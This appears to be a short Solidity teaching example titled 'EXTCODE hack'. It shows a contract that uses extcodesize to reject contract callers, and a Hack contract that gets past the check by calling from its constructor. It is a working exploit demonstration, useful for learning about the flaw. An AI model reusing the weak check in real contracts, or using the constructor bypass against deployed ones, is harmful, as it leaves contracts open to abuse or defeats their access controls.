EXTCODE hack

[t4sk]

pragma solidity ^0.8;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract Attack {
    function pwn(address _target) external {
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        Target(_target).protected();
    }
}